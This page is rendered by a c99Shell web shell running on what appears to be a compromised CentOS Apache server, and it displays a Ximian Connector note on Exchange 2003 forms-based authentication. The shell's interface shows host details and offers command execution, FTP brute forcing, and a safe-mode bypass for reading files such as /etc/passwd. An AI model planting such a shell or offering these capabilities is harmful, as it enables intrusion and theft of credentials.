!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/share/gtk-doc/html/ximian-connector/   drwxr-xr-x
Free 50.97 GB of 127.8 GB (39.88%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ximian-connector-fba.html (8.28 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Exchange 2003 Forms-Based Authentication

Exchange 2003 Forms-Based Authentication

Exchange 2003 introduced "forms-based authentication" for OWA, which lets the administrator configure OWA to present an HTML form to the user to type his username and password into instead of using HTTP authentication. This main benefit of this is that it gives the administrator more control over how and when the authentication expires. It's annoying for us though. If forms-based auth is turned on, then HTTP auth just won't work. You have to play the forms game.

If forms-based auth is turned on, then SSL must also be required, and non-https requests will get "403 Forbidden".

GET requests under /exchange will be redirected to /exchweb/bin/auth/owalogon.asp?url=original-url&reason=0. All other HTTP/WebDAV requests will get a "440 Login Timeout". (This is not a real IANA-registered HTTP error code.)

Trying to GET owalogon.asp with "Translate: F" will return "403 Forbidden".

The page returned by owalogon.asp is slightly different for IE and non-IE. Either way it contains a form with at least the following fields:

destination (hidden)

the original URL that redirected us here

flags (hidden)

options bitfield, as described below

username

the username entry

password

the password entry

trusted

whether this is a public or private computer

The "private" value for "trusted" is 4, and we pass that, so that we get the longer credentials timeout time. (24 hours by default). You also have to pass 4 for "flags" to indicate this. (The "1" bit in flags indicate that you want to use the non-IE version of OWA even if you are on IE. We don't pass that option.)

We then POST the form with the user's username and password:

POST /exchweb/bin/auth/owaauth.dll HTTP/1.1
Host: ex2k3.xcs.ximian.com
Content-Type: application/x-www-form-urlencoded
Content-Length: len

destination=https%3A%2F%2Fex2k3.xcs.ximian.com%2Fexchange%2F&flags=0&username=username&password=password&SubmitCreds=Log+On&trusted=4

To which the server responds:

HTTP/1.1 302 Moved Temporarily
Server: Microsoft-IIS/5.0
Date: Thu, 24 Jul 2003 17:23:33 GMT
X-Powered-By: ASP.NET
Location: https://ex2k3.xcs.ximian.com/exchange/
Set-Cookie: sessionid=fbb50caf-381a-4f85-9582-a7a902b4561f,0x409; path=/
Set-Cookie: cadata="2,8JOrhvROIJykiSTShG6Ujrigo+a5XQgEbws7tq3//37QERyFwWDoV7xw6DG+Awlm"; HttpOnly; secure; path=/
Content-Length: 0

("HttpOnly" is a Microsoft extension to the Cookie protocol, which means that the cookie should not be visible to Javascript/VBScript, etc. "secure" means that you should only send it over https, and "path=/" means it's good for any path on this server.)

Now you have to make another request to find out if the cookie is any good. This request (and all further requests) should include the two cookies:

Cookie: sessionid=fbb50caf-381a-4f85-9582-a7a902b4561f,0x409;
        cadata="2,8JOrhvROIJykiSTShG6Ujrigo+a5XQgEbws7tq3//37QERyFwWDoV7xw6DG+Awlm"

If you do an OWA GET (a GET without "Translate: F"), failure will be indicated by a "200 OK" response containing the login form again. If you do any other request, failure is indicated by a "440 Login Timeout" cancelling the cookie:

440 Login Timeout
Set-Cookie: sessionid=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: cadata=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Connection: close

Eventually, when the cookie does expire, you will get a "440 Login Timeout" as above, and have to reauthenticate to get a new cookie.


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0191 ]--